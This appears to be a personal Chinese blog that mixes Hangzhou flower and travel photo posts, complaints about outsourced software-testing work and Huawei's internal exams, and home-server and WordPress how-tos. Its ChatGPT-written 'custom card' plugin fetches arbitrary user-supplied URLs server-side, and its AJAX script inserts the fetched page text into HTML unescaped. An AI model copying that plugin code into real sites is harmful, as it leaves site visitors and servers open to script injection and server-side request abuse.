一开始以为就是一小片地方,准备离开,往前开的时候,发现还有一大片花海。然后又停车,看花去了。 ### 湘湖花海 📸 拍摄于5月25日。 📣 湘湖有一片花海,位于花海岛。 ### 湘湖绣球花 📸 拍摄于:6月2日。 ✨ 萧山湘湖可以适合公司团结的地方。 ✨ 在竹海中有一片绣球花,大部分绣球花淡蓝色。 ### 湘湖观荷花,乘莲蓬船 🎉 夏日午后,烈日当空。也阻挡不了看荷花的心情。 🌸 下午荷花大部分已经闭合,要看荷花盛开,应该要早上出发。 🌸 既然来看荷花,也少不了乘坐莲蓬船观荷花。单人79元,双人158元,还送1人一朵小荷花。 ### 群晖DS224+ 局域网查找群晖IP ✅ 下载群晖软件Synology Assistant到Windows 📦 安装后搜索局域网里的群晖IP 📍 下载地址 🩸 Synology Assistant 点击搜索,就能找到群晖在局域网里的IP ### 【WP REST Cache】微慕小程序API加速设置,解决微慕小程序首页加载数据失败问题 💢 原因 微信小程序首页翻页会报数据加载失败,失败率很高,很影响使用体验,而且翻页加载速度很慢,大概每次都要3~6S。所以要找解决方法。还有就是微慕官网有API加速的插件,价格要299元,虽然价格不太贵。但这个应有免费的解决办法。 所以百度了一下,最终找到了解决方法,就是下载安装WP REST CACHE 。设置了下,就解决了问题。 ✅ 安装和设置 ✅ 安装和启用 在wordpress 后台搜索WP REST CACHE插件,大概在第5、6行,点击安装和启用 ✅ 设置插件 插件设置位置在wordprss后台左侧菜单栏的设置👉WP REST Cache 勾上使用Memcache(d)和启用缓存重新生成 然后在主题文件根目录找到functions.php文件夹,加入下面的代码 add_filter( 'wp_rest_cache/allowed_endpoints', function ( $allowed_endpoints ) { if ( ! isset( $allowed_endpoints[ 'watch-life-net/v1' ] ) ) { $allowed_endpoints[ 'watch-life-net/v1' ][] = 'posts'; $allowed_endpoints[ 'watch-life-net/v1' ][] = 'rand'; $allowed_endpoints[ 'watch-life-net/v1' ][] = 'options'; $allowed_endpoints[ 'watch-life-net/v1' ][] = 'pageviewsthisyear'; $allowed_endpoints[ 'watch-life-net/v1' ][] = 'category'; } return $allowed_endpoints; }, 10, 1 ); 代码是根据具体API的URL设置。 比如:微慕小程序首页调用wordprss api 获取文章的URL:https://www.saiita.com.cn/wp-json/watch-life-net/v1/posts?per_page=10&orderby=date&order=desc&page=2 URL里有/wp-json/watch-life-net/v1/posts 路径 就可以设置为$allowed_endpoints[ 'watch-life-net/v1' ][] = 'posts'; 其他的URL就以此类推添加。 ✅ 查看设置结果 应该基本不会出现数据加载失败的问题了。😏有缓存数据,翻页基本上是秒开。 ### PMP证书如何续签 PMP续签要求 ✅ PDU满60 ✅ PMP每三年续签一次,一次支付150美元 1、如何查看证书到期时间 进入PMP官网: 或者进入: 在Roadmap可以看到证书到期时间,我的证书到期时间是2025年6月24日。今年续费早了。应该是满了60PDU,就会显示续费按键(Renew)。 2、登录PMP官网 登录PMP官网: 3、找到renew按键 4、点击checkout 5、使用支付宝支付 😏 听说是能收到新的证书?! ### 湘湖睡莲 🌺 湘湖定山广场 ### 白马湖二期 蔷薇花开 人生就是陪另一半一起去看好多好多花。🌺 ### 微慕微信小程序设置用户隐私协议 搞了一个星期,终于搞好了。 不设置微信用户隐私协议,会导致微信小程序登录问题❌。 ✅ 原理是用户点击登录,弹出用户隐私协议弹框,同意后才能登录微信小程序。 如果微信小程序已经发布了,也可以直接更新用户隐私。不需要跟微信小程序代码发布。 🔆 下面就是怎么跟新用户隐私 协议的内容模板 开源版 为了 在小程序的我的页面显示用户头像和昵称,开发者将在获取你的明示同意后,收集你的微信昵称、头像。 为了用户可以保存图片,开发者将在获取你的明示同意后,使用你的相册(仅写入)权限。 为了实名认证**,开发者将在获取你的明示同意后,收集你的手机号。 开发者读取你的剪切板,用于小程序用户复制文章中的文字链接。 增强版 为了在小程序我的页面显示用户的头像和昵称,开发者将在获取你的明示同意后,收集你的微信昵称、头像。为了在小程序里显示用户的头像,开发者将在获取你的明示同意后,收集你的位置信息。为了保存图片,开发者将在获取你的明示同意后,使用你的相册(仅写入)权限。为了您可以完成注册和登录操作,开发者将在获取你的明示同意后,收集你的手机号。开发者收集你选中的照片或视频信息,用于在小程序里展示和播放。开发者读取你的剪切板,用于小程序用户复制文章中的文字链接。 专业版 为了在小程序“我的页面”显示用户头像,开发者将在获取你的明示同意后,收集你的微信昵称、头像。 为了在小程序的文章详情里显示位置信息,开发者将在获取你的明示同意后,收集你的位置信息。 为了在小程序获取用户上传的照片,开发者将在获取你的明示同意后,访问你的摄像头。 为了在小程序获取用户上传的录音,开发者将在获取你的明示同意后,访问你的麦克风。 为了在小程序保存用户需要保存的图片,开发者将在获取你的明示同意后,使用你的相册(仅写入)权限。 为了您可以完成注册和登录操作,开发者将在获取你的明示同意后,收集你的手机号。 开发者收集你选中的照片或视频信息,用于小程序的展示或播放。 开发者收集你选中的文件,用于小程序的展示。 开发者收集你的地址,用于积分商城和小商店向购买用户发货。 开发者获取你选择的位置信息,用于在文章中提供您选择的位置。 开发者读取你的剪切板,用于小程序用户复制文章中的文字链接。 要仔细检查和填写,不然微信小程序登录不了。 ### 射灯、网线规格 业主群发的射灯规格,记录下 卫生间镜前灯(小射灯):G4灯珠 12V 卫生间筒灯(大射灯):E27螺口 LED,灯总长买短的 客厅卧室吊灯:E14螺口 LED,灯总长不限 客厅卧室筒灯:E27螺口 LED,灯总长不限 客厅卧室灯带:嘉美照明T5一体化日光灯,1米~1.5米按实际米数为准 厨房灯管:1.2米日光灯管 网线:HSYV 5e(超5类网线) ### 华为外包测试可信基础级考完,然后又来了个科目一工作级考试 💥 好不容易把软件测试可信基础级考通过了,这次又来了个科目一工作级考试,上机写测试设计和测试用例自动化,整体感觉有点像软件评测师下午的考试,不同的是华为考试要写代码。 ❗ 虽然目前不是强制要求,但是也不可能一直这样,有可能会过渡一段时间不强制,然后突然要求外包强制通过。 💔 最后还有说是软件可信测试基础级通过了,会加工资。到现在一点动静都没有。 ### 解决wordpress和微慕小程序文章浏览量不一致的问题 一、原因 wordpress博客用的是wpjam-basic插件和Autumn Pro主题,统计文章浏览量的字段是views。 而微慕小程序统计文章浏览量的字段是wl_pageviews。 文章统计的字段不一样,所以会导致微信小程序用wl_pageviews字段统计浏览量。wordrpess用views统计浏览量,这样就导致小程序和wordpress文章浏览量统计不一致的问题。 不知道主题和插件统计字段是什么,可以直接问开发。 二、解决方法 登录Linux终端,进入网站的wp-content/plugins/rest-api-to-miniprogram目录下面使用替换所有文件字段的命令行 sed -i 's/wl_pageviews/views/g' includes/ram-util.php sed -i 's/wl_pageviews/views/g' includes/api/ram-rest-posts-controller.php sed -i 's/wl_pageviews/views/g' includes/api/ram-wp-rest-posts-controller.php sed -i 's/wl_pageviews/views/g' includes/filter/ram-custom-post-fields.php 三、💢 BUG 虽然统一了浏览量,但是又出现了BUG,用户登录wordpress浏览1次,浏览量会+2,用户不登录浏览量不增加。倒是微信小程序正常。苹果端的微信小程序还有各种各样的问题,也是厉害。 最后还是恢复原来的代码。微信小程序一套浏览量统计代码,wordpress浏览量统计。 ### 青龙面板更新 好久没更新青龙面板了。 青龙面板更新 1、更新步骤 登录青龙面板后台 👉 系统设置 👉 其他设置 👉 检查更新 2、更新版本和更新内容 2.16.4更新到2.17.3 更新日志: 1. python 通知文件支持自定义参数,可由每个脚本控制通知参数配置 2. ql repo 命令复制仓库任务时,保留仓库脚本原始目录层级 3. 修改自定义通知 body 解析逻辑 4. 修改系统重启逻辑 5. 修改 latest 基础镜像 node 版本为 v20 ### 临平公园 -杭州看杜鹃花的好地方! 🚙 上周六,微风不燥,带着老婆去了临平公园看杜鹃花海🌺。杜鹃花热烈如火,每一朵都在阳光下闪闪发光。花海中,她穿着一袭淡雅的连衣裙,就像画中的仙女一样美丽。而我在花海中穿梭,拿着相机捕捉着每一刻的美好。 🌈 人生第一次看到这么多杜鹃花,还是各种各样颜色。顺便登上了东来阁,能一览临平全景。 💐 杭州临平公园的杜鹃花花海不仅有花的美,更有那种钢铁城市中属于春天中的生机和活力,体验大自然独有的自然魅力。 🌼 温馨提示:怕累的小伙伴,可以做观光车前往杜鹃园和东来阁。 ### USW-Flex-Mini交换机不行呀,经常断网 小红书看到的交换机,还挺贵。看着小巧,颜值还可以,就买了2个。 然后经常断网,WiFi经常掉线。这稳定性真不行。 USW-Flex-Mini ### 富阳-安顶山 ### 杭州萧山的水上威尼斯(水城) ⛅ 今天天气小雨,骑着小毛驴接老婆回家,顺便逛了下上下班经常经过的烂苹果乐园。经过入口,问了保安,拍照300元1个小时。其实里面应该可以拍照,也没人抓。 🛵 想了下,太贵了。就在外围拍照。里面跟威尼斯差不多,以水而建,建筑风格也是西方建筑。 🌍 里面还有摩天轮,过山车,温泉等游乐项目。 🚙 位置就在湘湖边上,地铁直达。 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 杭州萧山烂苹果乐园 ### 解决微信内登录网站报:redirect_uri域名与后台配置不一致,错误码10003? 1、❗ 原因 微信公众号的网页授权域名没有添加域名。 2、✅ 方法 登录公众号后台。 进入设置和开发→公众号设置→功能设置→网页授权域名 然后根据提示下载文件,把文件放到网站根目录 提交域名。就能解决微信内登录博客网站,报10003的问题 ### 萧山的太子湾-南江公园 周末不必去西湖太子湾,杭州萧山的南山公园就可以看郁金香。 🌷 南江公园郁金香 🌈南江公园的风车 🛩 南江公园的风筝和飞机 经常有飞机飞过 🎈 南江桥 小朋友 小朋友抓的蝌蚪 ### 五丰岛-无名小花快乐小狗 五丰岛摆渡船 细狗 五丰岛日落 五丰岛摄影基地 ### 最美人间三月桃花开,只生欢喜不生愁 🏕 最美人间三月桃花开,只生欢喜不生愁 ### 五丰岛附近油菜花田的芦苇 ### 不用去婺源看油菜花,杭州周边就有油菜花海 不用去婺源看油菜花,杭州周边就有油菜花海,还有富春江。 富阳油菜花田 🚙 去五丰岛路上的油菜花田。 摩托车队 墅溪古镇 ### 3月10日实拍,杭州西湖太子湾郁金香,樱花已开放 👑 太子湾樱花 🌈 太子湾郁金香 🔆 太子尖玉兰花 👍 太子湾 ### 软件测试可信终于通过了。 ✅上周三可信考试过了,对了47题。只有2个代码题。 同时也发现了,可信考试能过只是运气好而已,💥因为正式考试试卷的题目生成有问题,极端化,要不就是特别简单,要不就是特别难。 去年3次可信考试,就是特别难,好多代码题。 这次就特别简单,2个代码题目,其他都是做过的。 所以有些人1个月就能过的原因是正式生成的题目都是做过的 不知道后面会不会让考工作级和专家级。 ### 周日跟着老婆去湘湖晒太阳 ### 元宵节凤起路立交桥 ### 软件测试目前现状 😔 现在大部分大厂或者小厂的软件测试和软件开发都外包给了软件外包公司。 目的是为了较少企业公司的额外支出😔,一个项目结束了就可以完全没有额外付出成本,直接项目释放,然后大量人员丢给了外包公司。1个人完成2到3个人的工作量,给1.5个人的工资,还有可能不到0.8个人的工资,跟资本家完全一样,甚至比资本家还恶心,完全就是个奴隶主。 📌 这周上个组的1个同事,突然welink联系我,也是跟我遇到一样的问题,没需求直接释放,要求换组。像我这软通外包到华为,项目都已经换了4个项目组,基本上都是项目没有需求就项目释放,频繁换组。 🙄 我目前在的这个项目组,感觉也快没有需求了,也有可能在年底又要换组。 ✅ 也不知道未来怎么样,未来对软件测试的要求也是越来越高,加上快到35岁了,在外包也不知道待的时间长不长。 💥 最后还有华为的可信考试,真的是完全浪费时间,用这么多时间直接可以准备软考。软考都比可信考试含金量高的多。 ❗ 不过还是要自我技术提升,先把华为的可信考试考过,再往软件自动化、安全、管理方向发展。毕竟华为的可信考试也可以证明自己的软件测试水平,虽然不如软考。 ### Wordpress 网址卡片插件 ✅ 使用ChatGPT 3.5写了1个wordpress插件,生成插件很简单,就跟ChatGPT 3.5说需求一样,ChatGPT 3.5就几秒种就给出了对应的代码,然后还可以指导怎么使用。真的是太方便了。 👍 使用方法是在wordprss目录(wp-content/plugins/)下,创建1个custom-card-plugin文件夹。 👍 文件夹下面创建1个custom-plugin.php文件。然后在插件列表激活Custom Card Plugin插件。 👍 文章种使用简码: [custom_card url="https://www.zhihu.com/question/20448124"] ✅ wordpress 网站卡片显示插件效果还行。 💥 效果: ❌ 不过使用过程中还是有很多问题的,比如网站没有标题和内容,会显示空白、网站乱码问题等。还是要自己去手动修改 👍 插件代码: <?php /* Plugin Name: Custom Card Plugin Description: 一个自定义卡片插件,根据输入的网址获取相关信息并以卡片形式显示。 Version: 1.0 Author: https://www.saiita.com.cn */ // 添加短代码 function custom_card_shortcode($atts) { $atts = shortcode_atts( array( 'url' => '', ), $atts, 'custom_card' ); $url_info = get_url_info($atts['url']); $output = '<div class="custom-card" data-url="' . esc_url($url_info['url']) . '">'; $output .= '<img src="' . $url_info['favicon'] . '" alt="Favicon">'; $output .= '<h2>' . esc_html($url_info['title']) . '</h2>'; $output .= '<p>' . esc_html($url_info['description']) . '</p>'; $output .= '</div>'; return $output; } // 注册短代码 add_shortcode('custom_card', 'custom_card_shortcode'); // 添加样式和脚本 add_action('wp_footer', 'custom_card_styles'); function custom_card_styles() { ?> <style> .custom-card { max-width: 100%; border: 2px solid #ccc; border-radius: 10px; padding: 15px; margin: 15px auto; background-color: #f5f5f5; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); cursor: pointer; } .custom-card:hover { background-color: #e6e6e6; } .custom-card img { max-width: 50px; border-radius: 5px; margin-right: 10px; } .custom-card h2 { color: #333; font-size: 18px; margin-bottom: 10px; } .custom-card p { color: #666; font-size: 14px; margin-bottom: 10px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } </style> <script> document.addEventListener('DOMContentLoaded', function() { var customCards = document.querySelectorAll('.custom-card'); customCards.forEach(function(card) { card.addEventListener('click', function() { var link = card.getAttribute('data-url'); if (link) { window.open(link, '_blank'); } }); }); }); </script> <?php } // 获取网址信息 function get_url_info($url) { $url_info = array(); $html = file_get_contents($url); $doc = new DOMDocument(); @$doc->loadHTML($html); $title = $doc->getElementsByTagName("title")->item(0)->nodeValue; $description = ''; $metas = $doc->getElementsByTagName('meta'); foreach ($metas as $meta) { if ($meta->getAttribute('name') == 'description') { $description = $meta->getAttribute('content'); break; } } $host = parse_url($url, PHP_URL_HOST); $favicon = 'https://www.google.com/s2/favicons?sz=64&domain=' . $host; $url_info['url'] = $url; $url_info['title'] = $title; $url_info['description'] = $description; $url_info['host'] = $host; $url_info['favicon'] = $favicon; return $url_info; } ?> 【更新】2024-12-08:解决卡片兼容性问题 解决的问题: 错误详情 ============ 错误类型 E_ERROR 发生在文件 /www/wwwroot/www.saiita.com.cn/wp-content/plugins/custom-card-plugin/custom-plugin.php 的 107 行。错误信息:Uncaught ValueError: DOMDocument::loadHTML(): Argument #1 ($source) must not be empty in /www/wwwroot/www.saiita.com.cn/wp-content/plugins/custom-card-plugin/custom-plugin.php:107 Stack trace: #0 /www/wwwroot/www.saiita.com.cn/wp-content/plugins/custom-card-plugin/custom-plugin.php(107): DOMDocument->loadHTML() #1 /www/wwwroot/www.saiita.com.cn/wp-content/plugins/custom-card-plugin/custom-plugin.php(19): get_url_info() #2 /www/wwwroot/www.saiita.com.cn/wp-includes/shortcodes.php(434): custom_card_shortcode() #3 [internal function]: do_shortcode_tag() #4 /www/wwwroot/www.saiita.com.cn/wp-includes/shortcodes.php(273): preg_replace_callback() #5 /www/wwwroot/www.saiita.com.cn/wp-content/plugins/rest-api-to-miniprogram/includes/ram-util.php(600): do_shortcode() #6 /www/wwwroot/www.saiita.com.cn/wp-content/plugins/rest-api-to-miniprogram/includes/filter/ram-custom-post-fields.php(109): get_post_content_audio() #7 /www/wwwroot/www.saiita.com.cn/wp-includes/class-wp-hook.php(324): custom_post_fields() #8 /www/wwwroot/www.saiita.com.cn/wp-includes/plugin.php(205): WP_Hook->apply_filters() #9 /www/wwwroot/www.saiita.com.cn/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php(2108): apply_filters() #10 /www/wwwroot/www.saiita.com.cn/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php(635): WP_REST_Posts_Controller->prepare_item_for_response() #11 /www/wwwroot/www.saiita.com.cn/wp-includes/rest-api/class-wp-rest-server.php(1292): WP_REST_Posts_Controller->get_item() #12 /www/wwwroot/www.saiita.com.cn/wp-includes/rest-api/class-wp-rest-server.php(1125): WP_REST_Server->respond_to_request() #13 /www/wwwroot/www.saiita.com.cn/wp-includes/rest-api.php(576): WP_REST_Server->dispatch() #14 /www/wwwroot/www.saiita.com.cn/wp-includes/rest-api.php(2957): rest_do_request() #15 [internal function]: rest_preload_api_request() #16 /www/wwwroot/www.saiita.com.cn/wp-includes/block-editor.php(756): array_reduce() #17 /www/wwwroot/www.saiita.com.cn/wp-admin/edit-form-blocks.php(77): block_editor_rest_api_preload() #18 /www/wwwroot/www.saiita.com.cn/wp-admin/post.php(187): require('...') #19 {main} thrown 更新的代码 <?php /* Plugin Name: Custom Card Plugin Description: A plugin to display URL info as a styled card. Version: 1.0 Author: Your Name */ // Shortcode to render the card function custom_card_shortcode($atts) { $atts = shortcode_atts(array( 'url' => '', ), $atts); $url = esc_url($atts['url']); if (!$url) { return '<div class="custom-card">Invalid URL provided.</div>'; } $url_info = get_url_info($url); ob_start(); ?> <div class="custom-card" onclick="window.open('<?php echo esc_url($url_info['url']); ?>', '_blank');"> <div class="card-header"> <span class="card-title"><?php echo esc_html($url_info['title']); ?></span> <span class="card-host">(<?php echo esc_html($url_info['host']); ?>)</span> </div> <p class="card-description"><?php echo esc_html($url_info['description']); ?></p> </div> <?php return ob_get_clean(); } add_shortcode('custom_card', 'custom_card_shortcode'); // Fetch URL information function get_url_info($url) { $url_info = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $html = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (!$html || $http_code !== 200) { return array( 'url' => $url, 'title' => 'Unable to fetch title', 'description' => 'Unable to fetch description', 'host' => parse_url($url, PHP_URL_HOST), 'favicon' => 'https://www.google.com/s2/favicons?sz=64&domain=' . parse_url($url, PHP_URL_HOST), ); } $doc = new DOMDocument(); @$doc->loadHTML($html); $title = $doc->getElementsByTagName("title")->item(0)->nodeValue ?? 'No title found'; $description = ''; $metas = $doc->getElementsByTagName('meta'); foreach ($metas as $meta) { if ($meta->getAttribute('name') == 'description') { $description = $meta->getAttribute('content'); break; } } $host = parse_url($url, PHP_URL_HOST); $favicon = 'https://www.google.com/s2/favicons?sz=64&domain=' . $host; $url_info['url'] = $url; $url_info['title'] = $title; $url_info['description'] = $description ?: 'No description found'; $url_info['host'] = $host; $url_info['favicon'] = $favicon; return $url_info; } // Add custom styles add_action('wp_footer', 'custom_card_styles'); function custom_card_styles() { ?> <style> .custom-card { border: 2px solid #ccc; border-radius: 10px; padding: 15px; margin: 15px 0; background-color: #f5f5f5; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); cursor: pointer; transition: background-color 0.2s ease-in-out; } .custom-card:hover { background-color: #e6e6e6; } .custom-card .card-header { display: flex; justify-content: space-between; align-items: center; } .custom-card .card-title { font-size: 18px; font-weight: bold; color: #333; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .custom-card .card-host { font-size: 14px; color: #666; } .custom-card .card-description { font-size: 14px; color: #666; line-height: 1.5em; max-height: 3em; /* Limit to 2 lines */ overflow: hidden; text-overflow: ellipsis; } </style> <?php } 使用方法: 安装插件 将代码保存为 custom-card-plugin.php。 上传到 WordPress 的 wp-content/plugins/ 目录下。 在后台启用插件。 在文章中使用短代码 使用 [ custom_card url="https://www.saiita.com.cn" ],将 url 替换为目标网址。 效果描述 短代码[简码]: W www.saiita.com.cn 样式:标题和描述显示在卡片中,描述限制为两行,点击卡片会跳转到目标网址。 问题解决:处理了乱码、file_get_contents 的错误,以及兼容性问题。 【更新】2024-12-28:解决某些网址加载过慢,导致打开文章过慢; // Fetch URL information (this is now triggered via AJAX) function get_url_info($url) { $url_info = array(); // Use cURL for fetching content $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $html = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (!$html || $http_code !== 200) { // If URL cannot be fetched, use fallback return array( 'url' => $url, 'title' => $url, // Display the URL as the title 'description' => $url, // Display the URL as the description 'host' => parse_url($url, PHP_URL_HOST), 'favicon' => 'https://www.google.com/s2/favicons?sz=64&domain=' . parse_url($url, PHP_URL_HOST), ); } // Load HTML and parse title and description $doc = new DOMDocument(); @$doc->loadHTML($html); $title = $doc->getElementsByTagName("title")->item(0)->nodeValue ?? $url; $description = ''; $metas = $doc->getElementsByTagName('meta'); foreach ($metas as $meta) { if ($meta->getAttribute('name') == 'description') { $description = $meta->getAttribute('content'); break; } } $description = $description ?: $url; // Fallback to URL if description is empty $host = parse_url($url, PHP_URL_HOST); $favicon = 'https://www.google.com/s2/favicons?sz=64&domain=' . $host; // Ensure favicon exists; fallback to a default if necessary $favicon_headers = @get_headers($favicon); if (!$favicon_headers || strpos($favicon_headers[0], '200') === false) { $favicon = plugin_dir_url(__FILE__) . 'assets/default-favicon.png'; } $url_info['url'] = $url; $url_info['title'] = $title; $url_info['description'] = $description; $url_info['host'] = $host; $url_info['favicon'] = $favicon; return $url_info; } 在插件目录下创建一个新的 JavaScript 文件 custom-card-ajax.js jQuery(document).ready(function($) { // Fetch URL info when the card is visible $('.custom-card').each(function() { var card = $(this); var url = card.data('url'); // Check if we already have data for this card if (card.find('.card-loading').length > 0) { // Send an AJAX request to fetch URL info $.ajax({ url: customCardAjax.ajax_url, method: 'POST', data: { action: 'custom_card_fetch_info', url: url }, success: function(response) { if (response.success) { var data = response.data; card.html(` <div class="card-header"> <span class="card-title">${data.title}</span> <span class="card-host">(${data.host})</span> </div> <p class="card-description">${data.description}</p> `); } else { card.html('<div class="card-loading">Error fetching data.</div>'); } }, error: function() { card.html('<div class="card-loading">Error fetching data.</div>'); } }); } }); }); ### 解决obsidian无法打开社区问题 ❗ 原因应该是网络问题。 ✔ 需要下载个插件,然后再访问 1、下载proxy github插件 💊 插件下载地址: 2、proxy github插件拷贝到plugins目录下 🔺 下载后解压,放到obsidian的库文件夹下面,就是安装后第一次选择的文件夹目录。、 💊 如果没有plugins文件夹,可以新建1个。 💥 刚开始百度找文章,具体的plugins目录的信息给的一点都不全,找了好久。 3、启用proxy github 🎈 然后打开obsidian,进入第三方插件,启用proxy github。就可以正常下载插件了。 4、访问第三方插件库 🟢 第三方插件库 ### 2024年的第一场雪-杭州 Take Photos From Sherlock_yingFrom WeChat Friends ### 华为软件测试可信考试 💔 今年最后三次机会,还逼着在1月,2月,3月考试。 ❗ 应该从考Java转考python,原因如下: 💬 公司大部分考python,公司培训重点也是python。 💬 公司大部分考python,收集的真题也比Java多,所以正式考试遇到真题的概率大。 💬 学习python,也容易得到答案。 💬 还有大群里发题目,给的答案大部分都是错的(都是没及格的给的答案),除非能给出PPT的出处。 ❌ 正式考试Java,遇到的题目大概一半都不到。考python通过的,都会说遇到的真题都看过(四分之三)。 🔻 但是转python学习成本是不是增大了,目前一直都在犹豫不决,还是继续学习Java? 💢 加上自己学习投入不够,学习效率低,学习只能通过ilearning学习,手机屏幕小,连PPT字都看不清,还不能做笔记,有点构造不了完整的知识框架。 💢 学习过程中理解也不够深入,记性差,最主要原因还是自己。 💢 软件测试可信考试范围广,基本上涉及到了Java/python,数据结构,软件测试,项目管理,质量管理,缺陷分析和管理,软件自动化..... ### 为知笔记 docker 更新 如何更新为知笔记 docker # 停止wiz docker stop wiz # 删除wiz docker rm wiz # 更新wiz docker pull wiznote/wizserver:latest # 创建wiz docker run --name wiz --restart=always -it -d -v /mnt/256G/docker/wiz:/wiz/storage -p 8081:80 -p 9269:9269/udp wiznote/wizserver ### 【每日推荐】Wallpaper Engine:壁纸引擎 Wallpaper Engine 每日推荐 关键字:Alps Mountains-Windy & Snowing ### 孔乙已 在这些时候,我可以附和着笑,掌柜是决不责备的。而且掌柜见了孔乙己,也每每这样问他,引人发笑。孔乙己自己知道不能和他们谈天,便只好向孩子说话。有一回对我说道,“你读过书么?”我略略点一点头。他说,“读过书,……我便考你一考。茴香豆的茴字,怎样写的?”我想,讨饭一样的人,也配考我么?便回过脸去,不再理会。孔乙己等了许久,很恳切的说道,“不能写罢?……我教给你,记着!这些字应该记着。将来做掌柜的时候,写账要用。”我暗想我和掌柜的等级还很远呢,而且我们掌柜也从不将茴香豆上账;又好笑,又不耐烦,懒懒的答他道,“谁要你教,不是草头底下一个来回的回字么?”孔乙己显出极高兴的样子,将两个指头的长指甲敲着柜台,点头说,“对呀对呀!……回字有四样写法,你知道么?”我愈不耐烦了,努着嘴走远。孔乙己刚用指甲蘸了酒,想在柜上写字,见我毫不热心,便又叹一口气,显出极惋惜的样子。 ### 丽水市庆元县 ### 解决Ubuntu 有线网络消失问题 2023-12-24 💥 昨天设置了Ubuntu Pro,然后今天早上起来发现有线网络消失了。 ❗刚开始还没发现这个问题,后面SSH连接,发现设置的网络没有有线连接了。解决方法是创建10-globally-managed-devices.conf,然后重启NetworkManager。 ✅ 最后重启Ubuntu,问题就解决了。 💥也不晓得文件为啥会消失。 sudo touch /etc/NetworkManager/conf.d/10-globally-managed-devices.conf sudo systemctl restart NetworkManager 2025-03-08 Ubuntu 24.04 又出现有线网络和wifi消失的问题,无法恢复有线网络和wifi; 上面的方法不能解决问题!现在改用opensuse系统;Ubuntu 系统太不稳定了; 有可能是刚换主板,没设置bios安全兼容,然后update出现问题; ### 华为可信考试 🟡 今天上个组的同事可信考试通过了。 🟡 然后根据其他同事考过的经验分享。 ❗ 总结了几点: 🟢 他们基本都不看视频和参加培训,只看培训完后的PPT。 🟢 重要知识点都记住和理解。 🟢 不会刷软通开发的题库(这里面的题目占考试不到1半)。 🟢 还有就是python的真题覆盖率,应该比Java高(群里基本上都是python,Java的非常少),这可能是导致python学习1个月就能过(一直刷真题)。 🟢 华为的ilearning的模拟自测作用不大,每次考试都是及格以上。参考意义不大。 🔴 还有就是自己的学习效率低,学习方法不对(白用工),记忆力不好,学习注意力不集中。 🧡 能在短时间内通过可信考试,是学习方法、效率比较高。 ✅ 比如从来不看培训视频和学习视频,而是看PPT。还有不会刷公司开发的题库(今年都已经刷了6000多道题目,三次还是没过),而是大量刷每月的真题。这样就节省了大量时间和精力,而是投入的刷真题和学习重点知识,通过的几率比刷软通题库大了非常高。 💔 最后还有就是每次考试,5题左右的答案非常不固定,培训讲解的答案和群里讨论的答案不一定是正确的,等到考试100%就是错误的。 😔 现在我是一点信心都没有,压力非常大,总感觉不可能会考过。 ### 冬天的浙西天池 🔴 今天上班的时候,看见群里发的照片,一看冬天的浙西天池太美了。 🔴 完全是跟到了北方一样。 ### Umami+docker 升级 ❗ 在umami目录下执行下面的命令行,就可以进行升级。 在umami根目录执行下面的命令行 树莓派 # 拉取最新版本的umami docker compose pull # 更新 启动 docker compose up --force-recreate # 后台运行umami容器 docker-compose up -d Ubuntu # 取最新版本的umami docker-compose pull # 更新 启动 docker-compose up --force-recreate # 后台运行umami容器 docker-compose up -d ### 浙西天池 📸 上个月去的浙西天池。 ### 富春江边 📸 相机不行,拍不出来达利园效应😂。 ### 小区银杏树叶子黄了 🌈 每年这个时候,银杏树叶子黄了,还挺好看。 📌 不用到其他地方看银杏树了。 YI DIGITAL CAMERA YI DIGITAL CAMERA ### 美短、布偶 📌 美短都养瘦了。 YI DIGITAL CAMERA ### 阳台花盆 YI DIGITAL CAMERA 阳台前的空地,这空地要开发写字楼。这个地方要建1个30楼的,到时候不知道会不会挡住阳光,会不会很吵。 堵车估计会很堵了。现在就已经很堵车了。 ### 湘湖边上的小路 湘湖和白马湖边上的小水沟。 ### Ubuntu 开启cron日志 ✅ 1、打开终端。 ✅ 2、编辑 rsyslog 配置文件以将 cron 记录发送到指定文件。 你可以使用你喜欢的编辑器,例如 nano 或 vim。 sudo nano /etc/rsyslog.d/50-default.conf ✅ 3、在文件的末尾添加以下行: cron.* /path/to/cron.log ✅ 将 /path/to/cron.log 替换为你希望保存 cron 记录的文件路径。 ✅ 4、保存并关闭文件。 ✅ 5、重新启动 rsyslog 服务以使更改生效: sudo service rsyslog restart ✅ 现在,cron 的执行记录将被写入指定的日志文件中。你可以使用文本编辑器或者 cat 命令来查看这个文件。例如: cat /path/to/cron.log ✅ 请注意,/path/to/cron.log 是你在步骤 3 中指定的文件路径。这将帮助你跟踪 cron 任务的执行记录。 ### MySQL 